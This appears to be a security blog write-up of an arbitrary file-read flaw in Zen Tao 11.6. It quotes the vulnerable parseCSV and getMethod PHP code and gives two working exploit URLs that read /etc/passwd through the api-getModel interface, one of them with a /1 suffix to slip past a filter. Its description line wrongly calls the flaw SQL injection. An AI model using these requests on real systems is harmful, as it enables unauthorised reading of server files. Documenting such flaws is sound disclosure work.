Post

Zen Tao 11 6 Api Getmodel Api Getmethod Filepath Arbitrary File Reading Vulnerability

Zen Tao 11 6 Api Getmodel Api Getmethod Filepath Arbitrary File Reading Vulnerability

Zen Tao 11.6 api-getModel-api-getMethod-filePath arbitrary file reading vulnerability

Vulnerability Description

In Zen Tao 11.6, the user interface call permission filtering is incomplete, resulting in the call interface executing SQL statements, resulting in SQL injection

Affect Version

Zen Tao 11.6

Environment construction

This is built using the docker environment

docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6

img

Vulnerability reappears

The reason for the vulnerability here is also the reason for unlimited permissions for calling the interface.

For the specific reference to the reasons for the interface vulnerability, please see the previous article Zen Tao Version 11.6 SQL Injection Vulnerability. Complete analysis of this vulnerability

The first method

Check the parseCSV method under module/file/moudel.php`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
public function parseCSV($fileName)
    {
        $content = file_get_contents($fileName);
        /* Fix bug #890. */
        $content = str_replace("\x82\x32", "\x10", $content);
        $lines   = explode("\n", $content);

        $col  = -1;
        $row  = 0;
        $data = array();
        foreach($lines as $line)
        {
            $line    = trim($line);
            $markNum = substr_count($line, '"') - substr_count($line, '\"');
            if(substr($line, -1) != ',' and (($markNum % 2 == 1 and $col != -1) or ($markNum % 2 == 0 and substr($line, -2) != ',"' and $col == -1))) $line .= ',';
            $line = str_replace(',"",', ',,', $line);
            $line = str_replace(',"",', ',,', $line);
            $line = preg_replace_callback('/(\"{2,})(\,+)/U', array($this, 'removeInterference'), $line);
            $line = str_replace('""', '"', $line);

            /* if only one column then line is the data. */
            if(strpos($line, ',') === false and $col == -1)
            {
                $data[$row][0] = trim($line, '"');
            }
            else
            {
                /* if col is not -1, then the data of column is not end. */
                if($col != -1)
                {
                    $pos = strpos($line, '",');
                    if($pos === false)
                    {
                        $data[$row][$col] .= "\n" . $line;
                        $data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
                        continue;
                    }
                    else
                    {
                        $data[$row][$col] .= "\n" . substr($line, 0, $pos);
                        $data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
                        $line = substr($line, $pos + 2);
                        $col++;
                    }
                }

                if($col == -1) $col = 0;
                /* explode cols with delimiter. */
                while($line)
                {
                    /* the cell has '"', the delimiter is '",'. */
                    if($line{0} == '"')
                    {
                        $pos  = strpos($line, '",');
                        if($pos === false)
                        {
                            $data[$row][$col] = substr($line, 1);
                            /* if line is not empty, then the data of cell is not end. */
                            if(strlen($line) >= 1) continue 2;
                            $line = '';
                        }
                        else
                        {
                            $data[$row][$col] = substr($line, 1, $pos - 1);
                            $line = substr($line, $pos + 2);
                        }
                        $data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
                    }
                    else
                    {
                        /* the delimiter default is ','. */
                        $pos = strpos($line, ',');
                        /* if line is not delimiter, then line is the data of cell. */
                        if($pos === false)
                        {
                            $data[$row][$col] = $line;
                            $line = '';
                        }
                        else
                        {
                            $data[$row][$col] = substr($line, 0, $pos);
                            $line = substr($line, $pos + 1);
                        }
                    }

                    $data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
                    $col++;
                }
            }
            $row ++;
            $col = -1;
        }

        return $data;
    }

Here you can see that Calling file as the module name and parseCSV as the method name to call to read the file

The read file name $filename parameter is controllable, such as reading /etc/passwd

https://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd

img

  • ✅ Note that those ending in .php .txt will be filtered by the parsePathInfo method in /framework/base/router.class.php

The second method

Check out the getMethod method under module/api/moudel.php`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function getMethod($filePath, $ext = '')
{
    $fileName  = dirname($filePath);
    $className = basename(dirname(dirname($filePath)));
    if(!class_exists($className)) helper::import($fileName);
    $methodName = basename($filePath);

    $method = new ReflectionMethod($className . $ext, $methodName);
    $data   = new stdClass();
    $data->startLine  = $method->getStartLine();
    $data->endLine    = $method->getEndLine();
    $data->comment    = $method->getDocComment();
    $data->parameters = $method->getParameters();
    $data->className  = $className;
    $data->methodName = $methodName;
    $data->fileName   = $fileName;
    $data->post       = false;

    $file = file($fileName);
    for($i = $data->startLine - 1; $i <= $data->endLine; $i++)
    {
        if(strpos($file[$i], '$this->post') or strpos($file[$i], 'fixer::input') or strpos($file[$i], '$_POST'))
        {
            $data->post = true; 
        }
    }
    return $data;
}

Here is similar to the first one, but the method of different modules is called

Seeing that fileName = dirname(filepath) is the returned directory name

Therefore, reading /etc/passwd requires writing /etc/passwd/1 to bypass

https://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1

img

This post is licensed under CC BY 4.0 by the author.